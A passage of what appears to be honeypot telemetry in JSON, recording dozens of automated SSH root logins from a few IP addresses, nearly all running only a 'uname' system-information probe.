  "src_port": 54908,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 224,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:33:49.937189+00:00",
  "ended_at": "2026-08-24T09:33:54.744845+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "78b40379-9dea-4704-bffa-ccfb2ff05fcd",
  "name": "nameless-tawny-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 45248,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 188,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:32:38.914691+00:00",
  "ended_at": "2026-08-24T09:32:43.116809+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "841eb56a-0457-4da2-9ad0-ce55b8b8f40b",
  "name": "calm-silent-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 33098,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 238,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:32:38.494287+00:00",
  "ended_at": "2026-08-24T09:32:42.399774+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "40af7f73-dc51-4f02-9b43-dc03e95bb475",
  "name": "civil-vaulted-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 39458,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 239,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:32:15.210220+00:00",
  "ended_at": "2026-08-24T09:32:20.249253+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b0324b44-cba3-4fc6-be87-697a54868eca",
  "name": "weathered-wandering-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 39450,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 191,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:32:08.432526+00:00",
  "ended_at": "2026-08-24T09:32:11.313885+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8098325e-13d2-4046-84da-c6a91e00c8b6",
  "name": "supple-umber-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 48698,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 229,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:32:07.317387+00:00",
  "ended_at": "2026-08-24T09:32:10.656039+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3133a291-34cc-49fa-b771-d4358bda910b",
  "name": "solar-jagged-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 44282,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 229,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:31:59.327124+00:00",
  "ended_at": "2026-08-24T09:32:04.041883+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "25169a17-2716-43a6-ad88-a0abf0804e67",
  "name": "curious-seaward-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 44252,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:31:56.413806+00:00",
  "ended_at": "2026-08-24T09:32:00.597718+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d7c00382-1490-4d30-8f9c-85f174ae4dd1",
  "name": "ancient-lonesome-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 49426,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:31:26.516780+00:00",
  "ended_at": "2026-08-24T09:31:31.296613+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f456d465-afe2-4ac5-836e-ca8dc453d743",
  "name": "bashful-slender-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 44226,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 192,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:31:14.633486+00:00",
  "ended_at": "2026-08-24T09:31:20.725070+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "af370e76-ca64-450a-8821-a40a943876b9",
  "name": "coral-crystal-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 53698,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 170,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:30:56.691478+00:00",
  "ended_at": "2026-08-24T09:31:00.424205+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "35269b4a-530b-4c03-a69c-a4af3490a093",
  "name": "feathered-sturdy-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 41868,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 216,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:30:32.143593+00:00",
  "ended_at": "2026-08-24T09:30:36.694024+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "120bde4d-c870-4de3-93c6-21105e103f52",
  "name": "rugged-blazing-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 46080,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 350,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:29:44.309912+00:00",
  "ended_at": "2026-08-24T09:29:50.637082+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9eae382a-278f-47f2-8c68-8d5bbc324d1d",
  "name": "indigo-painted-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 60504,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:29:05.799800+00:00",
  "ended_at": "2026-08-24T09:29:09.134070+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "97699558-7335-4cbb-a874-a4d9712948b6",
  "name": "nautical-bashful-ptarmigan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.47.11",
  "src_port": 46056,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T09:28:41.938484+00:00",
  "ended_at": "2026-08-24T09:28:43.139591+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e981e869-43c2-41bd-9df8-39c59461d61a",
  "name": "jovial-merry-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 52178,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:28:06.919290+00:00",
  "ended_at": "2026-08-24T09:28:11.203663+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8c3a1edb-8696-4393-bafb-19e2459ad157",
  "name": "hearty-frugal-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 59352,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 222,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:27:54.198827+00:00",
  "ended_at": "2026-08-24T09:27:58.118130+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "071c46f9-c8e3-4439-b70b-d455ea26f283",
  "name": "pristine-gentle-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 42768,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:27:34.800832+00:00",
  "ended_at": "2026-08-24T09:27:40.787267+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "78944a46-4f43-4cf4-9696-993696ea0fed",
  "name": "nameless-smoky-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 60880,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 554,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:26:56.898299+00:00",
  "ended_at": "2026-08-24T09:27:02.215083+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3ce2a05f-9a80-4a9b-8be6-8367b4307344",
  "name": "bold-drifting-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 45564,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 229,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:25:30.609337+00:00",
  "ended_at": "2026-08-24T09:25:33.510010+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "39a172fb-da17-4904-beaf-fea0e02989aa",
  "name": "ivory-spirited-oriole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 45560,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 201,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:25:29.397055+00:00",
  "ended_at": "2026-08-24T09:25:32.579847+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b3a8df5c-5534-440b-aecd-798a6e4897fe",
  "name": "solar-marine-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 48698,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 218,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:25:23.316125+00:00",
  "ended_at": "2026-08-24T09:25:27.546214+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b6bc8518-63b2-4b1d-a317-79ec76711dd6",
  "name": "gritty-vigilant-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 54386,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 229,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:25:20.086139+00:00",
  "ended_at": "2026-08-24T09:25:23.689793+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5570b8d6-3324-4589-9594-ce2382cc5901",
  "name": "hidden-subtle-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 54374,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 456,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:25:09.705917+00:00",
  "ended_at": "2026-08-24T09:25:13.506966+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "085e6f12-46f2-4226-bd8e-502b45384113",
  "name": "polar-honest-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 36802,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 315,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:25:06.716182+00:00",
  "ended_at": "2026-08-24T09:25:11.093216+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ad0c1ee8-ff52-43e5-ab5e-e013ea710bda",
  "name": "fickle-drifting-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 36654,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 274,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:24:54.815019+00:00",
  "ended_at": "2026-08-24T09:24:58.827309+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cd7204ed-c188-4eb7-9c06-70792b5e126c",
  "name": "thawing-gleaming-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 40910,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 225,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:24:23.235679+00:00",
  "ended_at": "2026-08-24T09:24:28.836617+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7f2ff75f-ae10-4916-8659-e3e736cd7bb9",
  "name": "rapid-tawny-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 60242,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 192,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:23:45.086293+00:00",
  "ended_at": "2026-08-24T09:23:50.688809+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "344a24cf-c3ea-4604-b7b5-bec79e56bf4a",
  "name": "drifting-serene-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 60238,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 239,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:23:43.095048+00:00",
  "ended_at": "2026-08-24T09:23:47.303499+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "830931f6-361e-4de6-88ef-ac8430e818e0",
  "name": "fringed-jagged-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 52160,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 225,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:23:08.010609+00:00",
  "ended_at": "2026-08-24T09:23:13.922591+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a1f0622d-6ac3-45fa-b5bc-be777ec82067",
  "name": "curious-amber-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 60730,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:22:44.114387+00:00",
  "ended_at": "2026-08-24T09:22:48.901721+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "71104f1d-93b5-4896-8262-5fd88e3c03a3",
  "name": "crimson-hollow-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 42068,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 231,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:22:35.296303+00:00",
  "ended_at": "2026-08-24T09:22:39.099807+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cfa8d280-759e-4ad2-8852-c67dcf4e2fe9",
  "name": "somber-peaty-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 45570,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 236,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:22:18.589151+00:00",
  "ended_at": "2026-08-24T09:22:22.209272+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e5404832-cb88-4ed2-bf56-46748e77eea2",
  "name": "blunt-graceful-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 54818,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 271,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:21:43.840501+00:00",
  "ended_at": "2026-08-24T09:21:49.308000+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4f5474d7-0be3-4adf-8a5e-09f313fa96ec",
  "name": "peaty-craggy-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 55312,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 192,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:21:34.820333+00:00",
  "ended_at": "2026-08-24T09:21:39.820091+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0a085723-2181-421e-a37b-9bea2cf3359d",
  "name": "dappled-graceful-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 60832,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:21:31.413131+00:00",
  "ended_at": "2026-08-24T09:21:37.399559+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c520fefe-7972-474b-a9c6-60409f0a676a",
  "name": "brazen-steady-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 60814,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 554,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:21:18.843296+00:00",
  "ended_at": "2026-08-24T09:21:24.814673+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "30faf997-7f2c-448a-b780-e5326c1c4e90",
  "name": "dusty-marbled-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 39458,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:20:50.468201+00:00",
  "ended_at": "2026-08-24T09:20:54.820740+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ebec4d37-dad3-431b-b467-b2e258959443",
  "name": "leafy-humble-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 33490,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 235,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:20:49.719110+00:00",
  "ended_at": "2026-08-24T09:20:54.646320+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c1357fe3-e9c6-4d0e-a4fa-2c9245d055ab",
  "name": "prickly-primal-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "58.210.7.34",
  "src_port": 60292,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T09:20:44.408147+00:00",
  "ended_at": "2026-08-24T09:21:43.176845+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c53d149f-99f3-44ef-869b-88b7e4a1419e",
  "name": "brisk-honest-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "58.210.7.34",
  "src_port": 48052,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T09:20:19.970708+00:00",
  "ended_at": "2026-08-24T09:21:19.008305+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "21ea9514-5257-4378-a93a-0bcb4ef9ee49",
  "name": "cheerful-blazing-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 51650,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:20:14.714515+00:00",
  "ended_at": "2026-08-24T09:20:18.510554+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "038cb7c1-0331-466f-9b37-f49598d8eb69",
  "name": "austere-drifting-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 34124,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:19:30.720614+00:00",
  "ended_at": "2026-08-24T09:19:35.428864+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "792f828e-b265-452b-b4fb-0ae60d5ed04a",
  "name": "subtle-twilight-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 34466,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 251,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:19:15.293969+00:00",
  "ended_at": "2026-08-24T09:19:18.492278+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "978e69b2-7cac-410d-ba83-ed9d9631bb53",
  "name": "earnest-proud-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 57872,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 239,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:18:23.845239+00:00",
  "ended_at": "2026-08-24T09:18:29.290727+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5cca6fe8-cb4d-4250-a8a0-2bd288b72195",
  "name": "pewter-fearless-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 45078,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:18:12.710409+00:00",
  "ended_at": "2026-08-24T09:18:18.186731+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9cf791fc-5347-4509-99cc-da6a166a6c36",
  "name": "slender-hardy-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 59594,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 272,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:17:48.790458+00:00",
  "ended_at": "2026-08-24T09:17:52.936092+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e5bed317-6e1e-49f7-9ffd-464973c42a3c",
  "name": "diligent-grumpy-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 36786,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:17:14.018039+00:00",
  "ended_at": "2026-08-24T09:17:17.631950+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "85a157c7-5940-4374-98f1-59333cce1e74",
  "name": "civil-fierce-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 39850,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 290,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:16:47.396414+00:00",
  "ended_at": "2026-08-24T09:16:51.692928+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "02980858-1d97-4f75-9925-fb9db1842c43",
  "name": "barren-gilded-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 45278,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 230,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:16:35.421728+00:00",
  "ended_at": "2026-08-24T09:16:38.235616+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "44478682-d58d-4692-8f27-4f32d8bdbf22",
  "name": "barren-forlorn-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 39308,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 228,
